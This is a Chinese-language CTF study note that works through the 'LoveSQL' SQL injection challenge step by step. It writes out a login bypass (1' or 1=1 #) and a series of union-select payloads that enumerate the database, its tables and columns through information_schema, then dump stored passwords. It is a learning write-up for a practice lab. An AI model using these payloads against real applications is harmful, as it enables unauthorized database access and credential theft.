CTF学习笔记——LoveSQL

一、[极客大挑战 2019]LoveSQL

1.题目

CTF学习笔记——LoveSQL_第1张图片

2.解题步骤

题目提示了sqlmap,还是老规矩试一下
CTF学习笔记——LoveSQL_第2张图片
继续使用其他sql语句尝试一下,先试试万能的1' or 1=1 #,结果成功了…爆出一段奇妙的码,试了一下不是flag。接下来尝试一下查询呢

CTF学习笔记——LoveSQL_第3张图片
试一下联合查询 1' union select 1#

CTF学习笔记——LoveSQL_第4张图片
换个姿势(这里纯粹是懵的,没想到中了)
CTF学习笔记——LoveSQL_第5张图片
CTF学习笔记——LoveSQL_第6张图片
嗯?这里的直接通过了,然后回显了2和3,应该是爆出了字段,再看看一共有多少字段呢
CTF学习笔记——LoveSQL_第7张图片
出4的时候报错,可见是一共四个字段。然后查库名1' union select 1,database(),3#
CTF学习笔记——LoveSQL_第8张图片
可见库名是geek。继续查询1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='geek',3#
(这个payload是照师傅抄的,group_concat()函数的功能是:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。 information_schema理解为是数据库的信息,而 information_schema.tables where table_schema='geek’的含义就是查询数据库中geek库的信息。)
CTF学习笔记——LoveSQL_第9张图片
这个报错看蒙了…继续看wp,这里已经提示我们要在3位置查询。1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
CTF学习笔记——LoveSQL_第10张图片
可见有两个表,继续查询1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek'#
CTF学习笔记——LoveSQL_第11张图片
这里的id , username , password 应该就是字段了。
这下库,表,字段都清楚了,这里师傅直接盲猜的l0velysql表里面的password…这可能就是大佬の直觉吧。
构造1' union select 1,2,group_concat(password) from l0ve1ysq1 #
CTF学习笔记——LoveSQL_第12张图片

3.总结
  1. 第一次做联合查询的题,但基本上都是跟着师傅的wp在做,学习了联合查询的payload的构造方式
  2. sqlmap也有测试过联合查询,但是不清楚为什么没报错。
  3. sql语句实在是太多,回头要整理一个sql的漏洞集合和函数库。
  4. 联合查询的时候后面的2和3也没看懂,师傅说是注入点,开始以为是字段名,后来发现也不是。
4.参考资料
  • buuctf 极客大挑战 lovesql_SopRomeo的博客-CSDN博客
  • mysql中information_schema.tables字段说明 - 踏叶乘风 - 博客园
  • MYSQL中information_schema简介 - 简书
  • MySQL教程之concat以及group_concat的用法

你可能感兴趣的:(网络安全)